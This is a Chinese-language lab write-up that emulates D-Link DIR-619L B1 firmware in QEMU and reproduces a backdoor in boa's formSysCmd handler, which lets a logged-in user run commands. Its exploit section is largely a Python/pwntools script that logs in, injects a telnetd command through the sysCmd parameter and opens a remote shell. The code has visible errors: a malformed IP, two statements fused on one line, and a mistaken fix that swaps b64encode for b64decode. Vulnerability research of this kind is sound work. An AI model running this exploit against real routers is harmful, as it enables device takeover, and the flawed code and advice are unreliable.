准备工作
固件下载:链接:https://pan.baidu.com/s/13rFWtrGv3vvkWwPTmG7QTA ,提取码:fifv
固件仿真
sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
动态库劫持,修复Initialize AP MIB failed
mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so
#include <stdio.h>
#include <stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2C1
int apmib_init(void)
{
return 1;
}
int fork(void)
{
return 0;
}
void apmib_get(int code, int *value)
{
switch(code)
{
case MIB_HW_VER:
*value = 0xF1;
break;
case MIB_IP_ADDR:
*value = 0x7F000001;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
用户模式进行固件仿真,再次输入以下命令
sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
在进行第一步修复后,查看80端口已开启,然后在浏览器输入ip地址,然后却连接失败,这边还是报错了
最后搜到可用的解决方法就是打开固件下 /web/first.asp 文件,把蓝线的文本换成红线的文本就ok了,如果对gdb熟练也可以使用gdb调试来修复 apmib.som中的 segment fault
漏洞原理
DIR-619L,硬件版本B1,产品型号2.02,在 /bin/boa 文件的 formSysCmd 函数存在后门,导致攻击者在身份认证后可以通过访问 http://[ip]//goform/form/formSysCmd 并指定 sysCmd 参数,从而实现远程命令注入
漏洞分析
查看ida中的反编译代码,在formSysCmd函数中中,首先获取sysCmd参数,然后通过snprintf写入栈中变量,直接调用system函数执行该参数内容。
漏洞利用
首先安装pwntools
sudo apt-get install libssl-dev libffi-dev build-essential
git clone https://github.com/Gallopsled/pwntools.git
sudo apt update && apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
pip3 list | grep pwntools
其次,由于该漏洞是在身份认证成功之后才可实现命令注入,需要先登录输入用户名和口令。由于是在qemu中模拟固件,通过apmib_get读取路由器本地配置无法实现,所以在劫持了apmib_get函数之后,login输入的用户名和密码暂时填为空。
exp
import requests
import sys
import struct
import base64
from pwn import *
context(arch='mips',endian='big',log_level='debug')
ip='127.0.01'
port=80
def login(user,password):
postData = {
'login_name':'',
'curTime':'1234',
'FILECODE':'',
'VER_CODE':'',
'VERIFICATION_CODE':'',
'login_n':user,
'login_pass':base64.b64encode(password),
}
response = requests.post('http://'+ip+'/goform/formLogin',data=postData)
#print response.url
def syscmd(cmd):
postData = {
'sysCmd':cmd,
'submit-url':'1234',
}
response = requests.post('http://'+ip+'/goform/formSysCmd',data=postData)
#print response.url
def inter():
p=remote(ip,port)
p.interactive()
if __name__ == "__main__":
login('','') syscmd('telnetd -p '+str(port))
inter()
然后就报错
在网上找到了解决方法,上面错误“类型错误:需要类似字节的对象,而不是字符串”,在Python3中:因为3.x中字符都为unicode编码,函数b64encode的参数的数据类型是bytes类型的字符串对象,而我们给的是str类型的变量,所以必须进行转码
所以将下面的 b64encode 改为 b64 decode 就可以了
另由于qemu模拟时,/dev下没有pty设备,导致telnet连接不能实现,但是端口是已经打开了:
利用效果: